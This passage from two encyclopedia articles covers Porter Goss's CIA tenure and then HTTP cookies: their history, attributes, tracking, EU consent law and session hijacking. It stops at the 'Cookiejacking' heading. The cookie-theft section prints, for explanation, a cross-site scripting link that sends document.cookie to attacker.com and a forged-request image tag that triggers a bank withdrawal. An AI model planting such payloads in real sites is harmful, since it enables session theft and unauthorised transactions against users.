Following the June 3, 2004, resignation of CIA director George Tenet, Goss was nominated to become the new director on August 10 by President George W. Bush. The appointment was challenged by some prominent Democrats, including former Vice President Al Gore and Senator Robert Byrd (D-WV). Senator John D. RockefellerIV (D-WV), vice chairman of the Senate Intelligence Committee, expressed concerns that Goss was too politically partisan, given his public remarks against Democrats while serving as chairman of the House Intelligence Committee. Another Democratic member of the committee, Ron Wyden (D-OR), expressed concerns that given Goss's history within and ties to the CIA, he would be too disinclined to push for institutional change. In an interview carried out by Michael Moore's production company on March 3, 2004, Goss described himself as "probably not qualified" for a job within the CIA, because the language skills the Agency now seeks are not languages he speaks and because the people applying today for positions within the CIA's four directorates have such keen technical and analytic skills, which he did not have when he applied to the Agency in the early 1960s (see below).
The U.S. Senate Intelligence Committee endorsed his nomination by a 12–4 vote on September 20, 2004, and on September 22 he was confirmed by the Senate in a 77–17 vote. Republican senators unanimously backed him, along with many prominent Democrats, including the two Democratic senators from Florida, Bob Graham and Bill Nelson, and Senate Minority Leader Tom Daschle.
While at the CIA, Goss reportedly began to reverse the acts of the previous directors. Goss and others noted in numerous reports and writings their opposition to risk aversion "which is the last thing you want in an intelligence agency".
Resignation
On May 5, 2006, Goss's resignation was announced at a joint press briefing with President Bush at the White House. There was speculation in the press concerning the reasons for the sudden announcement. His choice for the position of Executive Director of the Central Intelligence Agency, Kyle Foggo, was enveloped in an extensive procurement scandal within days of Goss's resignation.
The Los Angeles Times reported: "Goss was pushed out by Negroponte after clashes between them over Goss's management style, as well as his reluctance to surrender CIA personnel and resources to new organizations set up to combat terrorism and weapons proliferation." Negroponte for his part had been an ambassador and a consumer of intelligence. Goss made the point with Negroponte that pursuing changes Negroponte reportedly desired, in the manner upon which Negroponte reportedly insisted, contradicted the intent of the intelligence reform legislation to add to the capabilities of the existing agencies in the intelligence community, not to detract and diminish those existing capabilities. The Weekly Standard also noted that Goss wanted intelligence analysts to get more exposure to intelligence gathering and Negroponte planned to move them from the CIA over to DNI, farther from intelligence gathering. While the editors of The Weekly Standard sided with Goss in this dispute, they believe Goss was forced out for other reasons:
[W]e are concerned that Goss left, or was eased out, for reasons of greater policy significance. And if this is the case, Goss's leaving is not a good sign. Goss is a political conservative and an institutional reformer. He is pro-Bush Doctrine and pro-shaking-up-the-CIA.
John Negroponte, so far as we can tell, shares none of these sympathies. Negroponte is, therefore, more in tune with large swaths of the intelligence community and the State Department. If Negroponte forced Goss out and is allowed to pick Goss's successor—if Goss isn't replaced with a reformer committed to fighting and winning the war on terror, broadly and rightly understood—then Goss's departure will prove to have been a weakening moment in an administration increasingly susceptible to moments of weakness.
Goss was replaced by Negroponte's Principal Deputy Director for National Intelligence, four-star Air Force General Michael Hayden.
Excerpt from the History of the Office of the Director of National Intelligence:
The idea of a Director of National Intelligence (DNI) dates to 1955 when a blue-ribbon study commissioned by Congress recommended that the Director of Central Intelligence should employ a deputy to run the CIA so that the director could focus on coordinating the overall intelligence effort.
Robert Novak's May 11 column claimed "Goss faced a disintegrating CIA. The major analytic functions were passed to the DNI. Special operations were going over to the Pentagon. Negroponte was no help to Goss. Although bizarre reasons for Goss's resignation have been floated on the Internet, sources say Negroponte simply suggested his time was up."
Retirement
Goss is an active speaker on the lecture circuit. Goss registered in April 2015 as a lobbyist representing Turkey. He is also a member of the ReFormers Caucus of Issue One.
Goss was appointed as co-chairman of the Board of the then-new Office of Congressional Ethics in July 2008. He would continue to serve in that position until 2015.
On February 16, 2016, Goss expressed his support for former Speaker Dennis Hastert in a letter to Judge Thomas M. Durkin.
Goss is an avid organic farmer.
In October 2022, Goss joined the Council for Responsible Social Media project launched by Issue One to address the negative mental, civic, and public health impacts of social media in the United States co-chaired by former House Democratic Caucus Leader Dick Gephardt and former Massachusetts Lieutenant Governor Kerry Healey.
References
External links
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1938 births
21st-century American politicians
American spies
Directors of the Central Intelligence Agency
George W. Bush administration personnel
Hotchkiss School alumni
Living people
Mayors of places in Florida
People from Sanibel, Florida
Politicians from Waterbury, Connecticut
People of the Central Intelligence Agency
Republican Party members of the United States House of Representatives from Florida
United States Army soldiers
Yale University alumni
Fessenden School alumni
Timothy Dwight College alumni
Psi Upsilon
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5068415
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https://en.wikipedia.org/wiki/HTTP%20cookie
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HTTP cookie
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HTTP cookies (also called web cookies, Internet cookies, browser cookies, or simply cookies) are small blocks of data created by a web server while a user is browsing a website and placed on the user's computer or other device by the user's web browser. Cookies are placed on the device used to access a website, and more than one cookie may be placed on a user's device during a session.
Cookies serve useful and sometimes essential functions on the web. They enable web servers to store stateful information (such as items added in the shopping cart in an online store) on the user's device or to track the user's browsing activity (including clicking particular buttons, logging in, or recording which pages were visited in the past). They can also be used to save for subsequent use information that the user previously entered into form fields, such as names, addresses, passwords, and payment card numbers.
Authentication cookies are commonly used by web servers to authenticate that a user is logged in, and with which account they are logged in. Without the cookie, users would need to authenticate themselves by logging in on each page containing sensitive information that they wish to access. The security of an authentication cookie generally depends on the security of the issuing website and the user's web browser, and on whether the cookie data is encrypted. Security vulnerabilities may allow a cookie's data to be read by an attacker, used to gain access to user data, or used to gain access (with the user's credentials) to the website to which the cookie belongs (see cross-site scripting and cross-site request forgery for examples).
Tracking cookies, and especially third-party tracking cookies, are commonly used as ways to compile long-term records of individuals' browsing histories a potential privacy concern that prompted European and U.S. lawmakers to take action in 2011. European law requires that all websites targeting European Union member states gain "informed consent" from users before storing non-essential cookies on their device.
Background
Origin of the name
The term cookie was coined by web-browser programmer Lou Montulli. It was derived from the term magic cookie, which is a packet of data a program receives and sends back unchanged, used by Unix programmers.
History
Magic cookies were already used in computing when computer programmer Lou Montulli had the idea of using them in web communications in June 1994. At the time, he was an employee of Netscape Communications, which was developing an e-commerce application for MCI. Vint Cerf and John Klensin represented MCI in technical discussions with Netscape Communications. MCI did not want its servers to have to retain partial transaction states, which led them to ask Netscape to find a way to store that state in each user's computer instead. Cookies provided a solution to the problem of reliably implementing a virtual shopping cart.
Together with John Giannandrea, Montulli wrote the initial Netscape cookie specification the same year. Version 0.9beta of Mosaic Netscape, released on October 13, 1994, supported cookies. The first use of cookies (out of the labs) was checking whether visitors to the Netscape website had already visited the site. Montulli applied for a patent for the cookie technology in 1995, which was granted in 1998. Support for cookies was integrated with Internet Explorer in version 2, released in October 1995.
The introduction of cookies was not widely known to the public at the time. In particular, cookies were accepted by default, and users were not notified of their presence. The public learned about cookies after the Financial Times published an article about them on February 12, 1996. In the same year, cookies received a lot of media attention, especially because of potential privacy implications. Cookies were discussed in two U.S. Federal Trade Commission hearings in 1996 and 1997.
The development of the formal cookie specifications was already ongoing. In particular, the first discussions about a formal specification started in April 1995 on the www-talk mailing list. A special working group within the Internet Engineering Task Force (IETF) was formed. Two alternative proposals for introducing state in HTTP transactions had been proposed by Brian Behlendorf and David Kristol respectively. But the group, headed by Kristol himself and Lou Montulli, soon decided to use the Netscape specification as a starting point. In February 1996, the working group identified third-party cookies as a considerable privacy threat. The specification produced by the group was eventually published as RFC 2109 in February 1997. It specifies that third-party cookies were either not allowed at all, or at least not enabled by default. At this time, advertising companies were already using third-party cookies. The recommendation about third-party cookies of RFC 2109 was not followed by Netscape and Internet Explorer. RFC 2109 was superseded by RFC 2965 in October 2000.
RFC 2965 added a Set-Cookie2 header field, which informally came to be called "RFC 2965-style cookies" as opposed to the original Set-Cookie header field which was called "Netscape-style cookies". Set-Cookie2 was seldom used, however, and was deprecated in RFC 6265 in April 2011 which was written as a definitive specification for cookies as used in the real world. No modern browser recognizes the Set-Cookie2 header field.
Terminology
Session cookie
A session cookie (also known as an in-memory cookie, transient cookie or non-persistent cookie) exists only in temporary memory while the user navigates a website.
Session cookies expire or are deleted when the user closes the web browser. Session cookies are identified by the browser by the absence of an expiration date assigned to them.
Persistent cookie
A persistent cookie expires at a specific date or after a specific length of time. For the persistent cookie's lifespan set by its creator, its information will be transmitted to the server every time the user visits the website that it belongs to, or every time the user views a resource belonging to that website from another website (such as an advertisement).
For this reason, persistent cookies are sometimes referred to as tracking cookies because they can be used by advertisers to record information about a user's web browsing habits over an extended period of time. Persistent cookies are also used for reasons such as keeping users logged into their accounts on websites, to avoid re-entering login credentials at every visit.
Secure cookie
A secure cookie can only be transmitted over an encrypted connection (i.e. HTTPS). They cannot be transmitted over unencrypted connections (i.e. HTTP). This makes the cookie less likely to be exposed to cookie theft via eavesdropping. A cookie is made secure by adding the Secure flag to the cookie.
Http-only cookie
An http-only cookie cannot be accessed by client-side APIs, such as JavaScript. This restriction eliminates the threat of cookie theft via cross-site scripting (XSS). However, the cookie remains vulnerable to cross-site tracing (XST) and cross-site request forgery (CSRF) attacks. A cookie is given this characteristic by adding the HttpOnly flag to the cookie.
Same-site cookie
In 2016 Google Chrome version 51 introduced a new kind of cookie with attribute SameSite. The attribute SameSite can have a value of Strict, Lax or None. With attribute SameSite=Strict, the browsers would only send cookies to a target domain that is the same as the origin domain. This would effectively mitigate cross-site request forgery (CSRF) attacks. With SameSite=Lax, browsers would send cookies with requests to a target domain even it is different from the origin domain, but only for safe requests such as GET (POST is unsafe) and not third-party cookies (inside iframe). Attribute SameSite=None would allow third-party (cross-site) cookies, however, most browsers require secure attribute on SameSite=None cookies.
The Same-site cookie is incorporated into a new RFC draft for "Cookies: HTTP State Management Mechanism" to update RFC 6265 (if approved).
Chrome, Firefox, Microsoft Edge all started to support Same-site cookies. The key of rollout is the treatment of existing cookies without the SameSite attribute defined, Chrome has been treating those existing cookies as if SameSite=None, this would let all website/applications run as before. Google intended to change that default to SameSite=Lax in February 2020, the change would break those applications/websites that rely on third-party/cross-site cookies, but without SameSite attribute defined. Given the extensive changes for web developers and COVID-19 circumstances, Google temporarily rolled back the SameSite cookie change.
Supercookie
A supercookie is a cookie with an origin of a top-level domain (such as .com) or a public suffix (such as .co.uk). Ordinary cookies, by contrast, have an origin of a specific domain name, such as example.com.
Supercookies can be a potential security concern and are therefore often blocked by web browsers. If unblocked by the browser, an attacker in control of a malicious website could set a supercookie and potentially disrupt or impersonate legitimate user requests to another website that shares the same top-level domain or public suffix as the malicious website. For example, a supercookie with an origin of .com, could maliciously affect a request made to example.com, even if the cookie did not originate from example.com. This can be used to fake logins or change user information.
The Public Suffix List helps to mitigate the risk that supercookies pose. The Public Suffix List is a cross-vendor initiative that aims to provide an accurate and up-to-date list of domain name suffixes. Older versions of browsers may not have an up-to-date list, and will therefore be vulnerable to supercookies from certain domains.
Other uses
The term supercookie is sometimes used for tracking technologies that do not rely on HTTP cookies. Two such supercookie mechanisms were found on Microsoft websites in August 2011: cookie syncing that respawned MUID (machine unique identifier) cookies, and ETag cookies. Due to media attention, Microsoft later disabled this code. In a 2021 blog post, Mozilla used the term supercookie to refer to the use of browser cache as a means of tracking users across sites.
Zombie cookie
A zombie cookie is data and code that has been placed by a web server on a visitor's computer or other device in a hidden location outside the visitor's web browser's dedicated cookie storage location, and that automatically recreates a HTTP cookie as a regular cookie after the original cookie had been deleted. The zombie cookie may be stored in multiple locations, such as Flash Local shared object, HTML5 Web storage, and other client-side and even server-side locations, and when absence is detected in one of the locations, the missing instance is recreated by the JavaScript code using the data stored in other locations.
Cookie wall
A cookie wall pops up on a website and informs the user of the website's cookie usage. It has no reject option, and the website is not accessible without tracking cookies.
Structure
A cookie consists of the following components:
Name
Value
Zero or more attributes (name/value pairs). Attributes store information such as the cookie's expiration, domain, and flags (such as Secure and HttpOnly).
Uses
Session management
Cookies were originally introduced to provide a way for users to record items they want to purchase as they navigate throughout a website (a virtual shopping cart or shopping basket). Today, however, the contents of a user's shopping cart are usually stored in a database on the server, rather than in a cookie on the client. To keep track of which user is assigned to which shopping cart, the server sends a cookie to the client that contains a unique session identifier (typically, a long string of random letters and numbers). Because cookies are sent to the server with every request the client makes, that session identifier will be sent back to the server every time the user visits a new page on the website, which lets the server know which shopping cart to display to the user.
Another popular use of cookies is for logging into websites. When the user visits a website's login page, the web server typically sends the client a cookie containing a unique session identifier. When the user successfully logs in, the server remembers that that particular session identifier has been authenticated and grants the user access to its services.
Because session cookies only contain a unique session identifier, this makes the amount of personal information that a website can save about each user virtually limitless—the website is not limited to restrictions concerning how large a cookie can be. Session cookies also help to improve page load times, since the amount of information in a session cookie is small and requires little bandwidth.
Personalization
Cookies can be used to remember information about the user in order to show relevant content to that user over time. For example, a web server might send a cookie containing the username that was last used to log into a website, so that it may be filled in automatically the next time the user logs in.
Many websites use cookies for personalization based on the user's preferences. Users select their preferences by entering them in a web form and submitting the form to the server. The server encodes the preferences in a cookie and sends the cookie back to the browser. This way, every time the user accesses a page on the website, the server can personalize the page according to the user's preferences. For example, the Google search engine once used cookies to allow users (even non-registered ones) to decide how many search results per page they wanted to see.
Also, DuckDuckGo uses cookies to allow users to set the viewing preferences like colors of the web page.
Tracking
Tracking cookies are used to track users' web browsing habits. This can also be done to some extent by using the IP address of the computer requesting the page or the referer field of the HTTP request header, but cookies allow for greater precision. This can be demonstrated as follows:
If the user requests a page of the site, but the request contains no cookie, the server presumes that this is the first page visited by the user. So the server creates a unique identifier (typically a string of random letters and numbers) and sends it as a cookie back to the browser together with the requested page.
From this point on, the cookie will automatically be sent by the browser to the server every time a new page from the site is requested. The server not only sends the page as usual but also stores the URL of the requested page, the date/time of the request, and the cookie in a log file.
By analyzing this log file, it is then possible to find out which pages the user has visited, in what sequence, and for how long.
Corporations exploit users' web habits by tracking cookies to collect information about buying habits. The Wall Street Journal found that America's top fifty websites installed an average of sixty-four pieces of tracking technology onto computers, resulting in a total of 3,180 tracking files. The data can then be collected and sold to bidding corporations.
Implementation
Cookies are arbitrary pieces of data, usually chosen and first sent by the web server, and stored on the client computer by the web browser. The browser then sends them back to the server with every request, introducing states (memory of previous events) into otherwise stateless HTTP transactions. Without cookies, each retrieval of a web page or component of a web page would be an isolated event, largely unrelated to all other page views made by the user on the website. Although cookies are usually set by the web server, they can also be set by the client using a scripting language such as JavaScript (unless the cookie's HttpOnly flag is set, in which case the cookie cannot be modified by scripting languages).
The cookie specifications require that browsers meet the following requirements in order to support cookies:
Can support cookies as large as 4,096 bytes in size.
Can support at least 50 cookies per domain (i.e. per website).
Can support at least 3,000 cookies in total.
Setting a cookie
Cookies are set using the Set-Cookie header field, sent in an HTTP response from the web server. This header field instructs the web browser to store the cookie and send it back in future requests to the server (the browser will ignore this header field if it does not support cookies or has disabled cookies).
As an example, the browser sends its first HTTP request for the homepage of the www.example.org website:
GET /index.html HTTP/1.1
Host: www.example.org
...
The server responds with two Set-Cookie header fields:
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: theme=light
Set-Cookie: sessionToken=abc123; Expires=Wed, 09 Jun 2021 10:18:14 GMT
...
The server's HTTP response contains the contents of the website's homepage. But it also instructs the browser to set two cookies. The first, theme, is considered to be a session cookie since it does not have an Expires or Max-Age attribute. Session cookies are intended to be deleted by the browser when the browser closes. The second, sessionToken, is considered to be a persistent cookie since it contains an Expires attribute, which instructs the browser to delete the cookie at a specific date and time.
Next, the browser sends another request to visit the spec.html page on the website. This request contains a Cookie header field, which contains the two cookies that the server instructed the browser to set:
GET /spec.html HTTP/1.1
Host: www.example.org
Cookie: theme=light; sessionToken=abc123
…
This way, the server knows that this HTTP request is related to the previous one. The server would answer by sending the requested page, possibly including more Set-Cookie header fields in the HTTP response in order to instruct the browser to add new cookies, modify existing cookies, or remove existing cookies. To remove a cookie, the server must include a Set-Cookie header field with an expiration date in the past.
The value of a cookie may consist of any printable ASCII character (! through ~, Unicode \u0021 through \u007E) excluding and whitespace characters. The name of a cookie excludes the same characters, as well as =, since that is the delimiter between the name and value. The cookie standard RFC 2965 is more restrictive but not implemented by browsers.
The term cookie crumb is sometimes used to refer to a cookie's name–value pair.
Cookies can also be set by scripting languages such as JavaScript that run within the browser. In JavaScript, the object document.cookie is used for this purpose. For example, the instruction document.cookie = "temperature=20" creates a cookie of name temperature and value 20.
Cookie attributes
In addition to a name and value, cookies can also have one or more attributes. Browsers do not include cookie attributes in requests to the server—they only send the cookie's name and value. Cookie attributes are used by browsers to determine when to delete a cookie, block a cookie or whether to send a cookie to the server.
Domain and Path
The Domain and Path attributes define the scope of the cookie. They essentially tell the browser what website the cookie belongs to. For security reasons, cookies can only be set on the current resource's top domain and its subdomains, and not for another domain and its subdomains. For example, the website example.org cannot set a cookie that has a domain of foo.com because this would allow the website example.org to control the cookies of the domain foo.com.
If a cookie's Domain and Path attributes are not specified by the server, they default to the domain and path of the resource that was requested. However, in most browsers there is a difference between a cookie set from foo.com without a domain, and a cookie set with the foo.com domain. In the former case, the cookie will only be sent for requests to foo.com, also known as a host-only cookie. In the latter case, all subdomains are also included (for example, docs.foo.com). A notable exception to this general rule is Edge prior to Windows 10 RS3 and Internet Explorer prior to IE 11 and Windows 10 RS4 (April 2018), which always sends cookies to subdomains regardless of whether the cookie was set with or without a domain.
Below is an example of some Set-Cookie header fields in the HTTP response of a website after a user logged in. The HTTP request was sent to a webpage within the docs.foo.com subdomain:
HTTP/1.0 200 OK
Set-Cookie: LSID=DQAAAK…Eaem_vYg; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
Set-Cookie: HSID=AYQEVn…DKrdst; Domain=.foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; HttpOnly
Set-Cookie: SSID=Ap4P…GTEq; Domain=foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
…
The first cookie, LSID, has no Domain attribute, and has a Path attribute set to /accounts. This tells the browser to use the cookie only when requesting pages contained in docs.foo.com/accounts (the domain is derived from the request domain). The other two cookies, HSID and SSID, would be used when the browser requests any subdomain in .foo.com on any path (for example www.foo.com/bar). The prepending dot is optional in recent standards, but can be added for compatibility with RFC 2109 based implementations.
Expires and Max-Age
The Expires attribute defines a specific date and time for when the browser should delete the cookie. The date and time are specified in the form Wdy, DD Mon YYYY HH:MM:SS GMT, or in the form Wdy, DD Mon YY HH:MM:SS GMT for values of YY where YY is greater than or equal to 0 and less than or equal to 69.
Alternatively, the Max-Age attribute can be used to set the cookie's expiration as an interval of seconds in the future, relative to the time the browser received the cookie. Below is an example of three Set-Cookie header fields that were received from a website after a user logged in:
HTTP/1.0 200 OK
Set-Cookie: lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Jan 2013 21:47:38 GMT; Path=/; Domain=.example.com; HttpOnly
Set-Cookie: made_write_conn=1295214458; Path=/; Domain=.example.com
Set-Cookie: reg_fb_gate=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; Domain=.example.com; HttpOnly
The first cookie, lu, is set to expire sometime on 15 January 2013. It will be used by the client browser until that time. The second cookie, made_write_conn, does not have an expiration date, making it a session cookie. It will be deleted after the user closes their browser. The third cookie, reg_fb_gate, has its value changed to deleted, with an expiration time in the past. The browser will delete this cookie right away because its expiration time is in the past. Note that cookie will only be deleted if the domain and path attributes in the Set-Cookie field match the values used when the cookie was created.
Internet Explorer did not support Max-Age.
Secure and HttpOnly
The Secure and HttpOnly attributes do not have associated values. Rather, the presence of just their attribute names indicates that their behaviors should be enabled.
The Secure attribute is meant to keep cookie communication limited to encrypted transmission, directing browsers to use cookies only via secure/encrypted connections. However, if a web server sets a cookie with a secure attribute from a non-secure connection, the cookie can still be intercepted when it is sent to the user by man-in-the-middle attacks. Therefore, for maximum security, cookies with the Secure attribute should only be set over a secure connection.
The HttpOnly attribute directs browsers not to expose cookies through channels other than HTTP (and HTTPS) requests. This means that the cookie cannot be accessed via client-side scripting languages (notably JavaScript), and therefore cannot be stolen easily via cross-site scripting (a pervasive attack technique).
Browser settings
Most modern browsers support cookies and allow the user to disable them. The following are common options:
To enable or disable cookies completely, so that they are always accepted or always blocked.
To view and selectively delete cookies using a cookie manager.
To fully wipe all private data, including cookies.
Add-on tools for managing cookie permissions also exist.
Third-party cookie
Cookies have some important implications for the privacy and anonymity of web users. While cookies are sent only to the server setting them or a server in the same Internet domain, a web page may contain images or other components stored on servers in other domains. Cookies that are set during retrieval of these components are called third-party cookies. A third-party cookie, belongs to a domain different from the one shown in the address bar. This sort of cookie typically appears when web pages feature content from external websites, such as banner advertisements. This opens up the potential for tracking the user's browsing history and is used by advertisers to serve relevant advertisements to each user.
As an example, suppose a user visits www.example.org. This website contains an advertisement from ad.foxytracking.com, which, when downloaded, sets a cookie belonging to the advertisement's domain (ad.foxytracking.com). Then, the user visits another website, www.foo.com, which also contains an advertisement from ad.foxytracking.com and sets a cookie belonging to that domain (ad.foxytracking.com). Eventually, both of these cookies will be sent to the advertiser when loading their advertisements or visiting their website. The advertiser can then use these cookies to build up a browsing history of the user across all the websites that have ads from this advertiser, through the use of the HTTP referer header field.
, some websites were setting cookies readable for over 100 third-party domains. On average, a single website was setting 10 cookies, with a maximum number of cookies (first- and third-party) reaching over 800.
The older standards for cookies, RFC 2109 and RFC 2965, recommend that browsers should protect user privacy and not allow sharing of cookies between servers by default. However, the newer standard, RFC 6265, explicitly allows user agents to implement whichever third-party cookie policy they wish. Most modern web browsers contain privacy settings that can block third-party cookies, and some now block all third-party cookies by default - as of July 2020, such browsers include Apple Safari, Firefox, and Brave. Safari allows embedded sites to use Storage Access API to request permission to set first-party cookies. In May 2020, Google Chrome introduced new features to block third-party cookies by default in its Incognito mode for private browsing, making blocking optional during normal browsing. The same update also added an option to block first-party cookies. Chrome plans to start blocking third-party cookies by default in late 2024.
Privacy
The possibility of building a profile of users is a privacy threat, especially when tracking is done across multiple domains using third-party cookies. For this reason, some countries have legislation about cookies.
Website operators who do not disclose third-party cookie use to consumers run the risk of harming consumer trust if cookie use is discovered. Having clear disclosure (such as in a privacy policy) tends to eliminate any negative effects of such cookie discovery.
The United States government has set strict rules on setting cookies in 2000 after it was disclosed that the White House drug policy office used cookies to track computer users viewing its online anti-drug advertising. In 2002, privacy activist Daniel Brandt found that the CIA had been leaving persistent cookies on computers that had visited its website. When notified it was violating policy, CIA stated that these cookies were not intentionally set and stopped setting them. On December 25, 2005, Brandt discovered that the National Security Agency (NSA) had been leaving two persistent cookies on visitors' computers due to a software upgrade. After being informed, the NSA immediately disabled the cookies.
EU cookie directive
In 2002, the European Union launched the Directive on Privacy and Electronic Communications (e-Privacy Directive), a policy requiring end users' consent for the placement of cookies, and similar technologies for storing and accessing information on users' equipment. In particular, Article 5 Paragraph 3 mandates that storing technically unnecessary data on a user's computer can only be done if the user is provided information about how this data is used, and the user is given the possibility of denying this storage operation. The Directive does not require users to authorise or be provided notice of cookie usage that are functionally required for delivering a service they have requested, for example to retain settings, store log-in sessions, or remember what is in a user's shopping basket.
In 2009, the law was amended by Directive 2009/136/EC, which included a change to Article 5, Paragraph 3. Instead of having an option for users to opt out of cookie storage, the revised Directive requires consent to be obtained for cookie storage. The definition of consent is cross-referenced to the definition in European data protection law, firstly the Data Protection Directive 1995 and subsequently the General Data Protection Regulation (GDPR). As the definition of consent was strengthened in the text of the GDPR, this had the effect of increasing the quality of consent required by those storing and accessing information such as cookies on users devices. In a case decided under the Data Protection Directive however, the Court of Justice of the European Union later confirmed however that the previous law implied the same strong quality of consent as the current instrument. In addition to the requirement of consent which stems from storing or accessing information on a user's terminal device, the information in many cookies will be considered personal data under the GDPR alone, and will require a legal basis to process. This has been the case since the 1995 Data Protection Directive, which used an identical definition of personal data, although the GDPR in interpretative Recital 30 clarifies that cookie identifiers are included. While not all data processing under the GDPR requires consent, the characteristics of behavioural advertising mean that it is difficult or impossible to justify under any other ground.
Consent under the combination of the GDPR and e-Privacy Directive has to meet a number of conditions in relation to cookies. It must be freely given and unambiguous: preticked boxes were banned under both the Data Protection Directive 1995 and the GDPR (Recital 32). The GDPR is specific that consent must be as 'easy to withdraw as to give', meaning that a reject-all button must be as easy to access in terms of clicks and visibility as an 'accept all' button. It must be specific and informed, meaning that consent relates to particular purposes for the use of this data, and all organisations seeking to use this consent must be specifically named. The Court of Justice of the European Union has also ruled that consent must be 'efficient and timely', meaning that it must be gained before cookies are laid and data processing begins instead of afterwards.
The industry's response has been largely negative. Robert Bond of the law firm Speechly Bircham describes the effects as "far-reaching and incredibly onerous" for "all UK companies". Simon Davis of Privacy International argues that proper enforcement would "destroy the entire industry". However, scholars note that the onerous nature of cookie pop-ups stems from an attempt to continue to operate a business model through convoluted requests that may be incompatible with the GDPR.
Academic studies and regulators both describe wide-spread non-compliance with the law. A study scraping 10,000 UK websites found that only 11.8% of sites adhered to minimal legal requirements, with only 33.4% of websites studied providing a mechanism to reject cookies that was as easy to use as accepting them. A study of 17,000 websites found that 84% of sites breached this criterion, finding additionally that many laid third party cookies with no notice at all. The UK regulator, the Information Commissioner's Office, stated in 2019 that the industry's 'Transparency and Consent Framework' from the advertising technology group the Interactive Advertising Bureau was 'insufficient to ensure transparency and fair processing of the personal data in question and therefore also insufficient to provide for free and informed consent, with attendant implications for PECR [e-Privacy] compliance.' Many companies that sell compliance solutions (Consent Management Platforms) permit them to be configured in manifestly illegal ways, which scholars have noted creates questions around the appropriate allocation of liability.
A W3C specification called P3P was proposed for servers to communicate their privacy policy to browsers, allowing automatic, user-configurable handling. However, few websites implement the specification, and the W3C has discontinued work on the specification.
Third-party cookies can be blocked by most browsers to increase privacy and reduce tracking by advertising and tracking companies without negatively affecting the user's web experience on all sites. Some sites operate 'cookie walls', which make access to a site conditional on allowing cookies either technically in a browser, through pressing 'accept', or both. In 2020, the European Data Protection Board, composed of all EU data protection regulators, stated that cookie walls were illegal.In order for consent to be freely given, access to services and functionalities must not be made conditional on the consent of a user to the storing of information, or gaining of access to information already stored, in the terminal equipment of a user (so called cookie walls).Many advertising operators have an opt-out option to behavioural advertising, with a generic cookie in the browser stopping behavioural advertising. However, this is often ineffective against many forms of tracking, such as first-party tracking that is growing in popularity to avoid the impact of browsers blocking third party cookies. Furthermore, if such a setting is more difficult to place than the acceptance of tracking, it remains in breach of the conditions of the e-Privacy Directive.
Cookie theft and session hijacking
Most websites use cookies as the only identifiers for user sessions, because other methods of identifying web users have limitations and vulnerabilities. If a website uses cookies as session identifiers, attackers can impersonate users' requests by stealing a full set of victims' cookies. From the web server's point of view, a request from an attacker then has the same authentication as the victim's requests; thus the request is performed on behalf of the victim's session.
Listed here are various scenarios of cookie theft and user session hijacking (even without stealing user cookies) that work with websites relying solely on HTTP cookies for user identification.
Network eavesdropping
Traffic on a network can be intercepted and read by computers on the network other than the sender and receiver (particularly over unencrypted open Wi-Fi). This traffic includes cookies sent on ordinary unencrypted HTTP sessions. Where network traffic is not encrypted, attackers can therefore read the communications of other users on the network, including HTTP cookies as well as the entire contents of the conversations, for the purpose of a man-in-the-middle attack.
An attacker could use intercepted cookies to impersonate a user and perform a malicious task, such as transferring money out of the victim's bank account.
This issue can be resolved by securing the communication between the user's computer and the server by employing Transport Layer Security (HTTPS protocol) to encrypt the connection. A server can specify the Secure flag while setting a cookie, which will cause the browser to send the cookie only over an encrypted channel, such as a TLS connection.
Publishing false sub-domain: DNS cache poisoning
If an attacker is able to cause a DNS server to cache a fabricated DNS entry (called DNS cache poisoning), then this could allow the attacker to gain access to a user's cookies. For example, an attacker could use DNS cache poisoning to create a fabricated DNS entry of f12345.www.example.com that points to the IP address of the attacker's server. The attacker can then post an image URL from his own server (for example, http://f12345.www.example.com/img_4_cookie.jpg). Victims reading the attacker's message would download this image from f12345.www.example.com. Since f12345.www.example.com is a sub-domain of www.example.com, victims' browsers would submit all example.com-related cookies to the attacker's server.
If an attacker is able to accomplish this, it is usually the fault of the Internet Service Providers for not properly securing their DNS servers. However, the severity of this attack can be lessened if the target website uses secure cookies. In this case, the attacker would have the extra challenge of obtaining the target website's TLS certificate from a certificate authority, since secure cookies can only be transmitted over an encrypted connection. Without a matching TLS certificate, victims' browsers would display a warning message about the attacker's invalid certificate, which would help deter users from visiting the attacker's fraudulent website and sending the attacker their cookies.
Cross-site scripting: cookie theft
Cookies can also be stolen using a technique called cross-site scripting. This occurs when an attacker takes advantage of a website that allows its users to post unfiltered HTML and JavaScript content. By posting malicious HTML and JavaScript code, the attacker can cause the victim's web browser to send the victim's cookies to a website the attacker controls.
As an example, an attacker may post a message on www.example.com with the following link:
<a href="#" onclick="window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;">Click here!</a>
When another user clicks on this link, the browser executes the piece of code within the onclick attribute, thus replacing the string document.cookie with the list of cookies that are accessible from the current page. As a result, this list of cookies is sent to the attacker.com server. If the attacker's malicious posting is on an HTTPS website https://www.example.com, secure cookies will also be sent to attacker.com in plain text.
It is the responsibility of the website developers to filter out such malicious code.
Such attacks can be mitigated by using HttpOnly cookies. These cookies will not be accessible by client-side scripting languages like JavaScript, and therefore, the attacker will not be able to gather these cookies.
Cross-site scripting: proxy request
In older versions of many browsers, there were security holes in the implementation of the XMLHttpRequest API. This API allows pages to specify a proxy server that would get the reply, and this proxy server is not subject to the same-origin policy. For example, a victim is reading an attacker's posting on www.example.com, and the attacker's script is executed in the victim's browser. The script generates a request to www.example.com with the proxy server attacker.com. Since the request is for www.example.com, all example.com cookies will be sent along with the request, but routed through the attacker's proxy server. Hence, the attacker would be able to harvest the victim's cookies.
This attack would not work with secure cookies, since they can only be transmitted over HTTPS connections, and the HTTPS protocol dictates end-to-end encryption (i.e. the information is encrypted on the user's browser and decrypted on the destination server). In this case, the proxy server would only see the raw, encrypted bytes of the HTTP request.
Cross-site request forgery
For example, Bob might be browsing a chat forum where another user, Mallory, has posted a message. Suppose that Mallory has crafted an HTML image element that references an action on Bob's bank's website (rather than an image file), e.g.,
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
If Bob's bank keeps his authentication information in a cookie, and if the cookie hasn't expired, then the attempt by Bob's browser to load the image will submit the withdrawal form with his cookie, thus authorizing a transaction without Bob's approval.
Cookiejacking
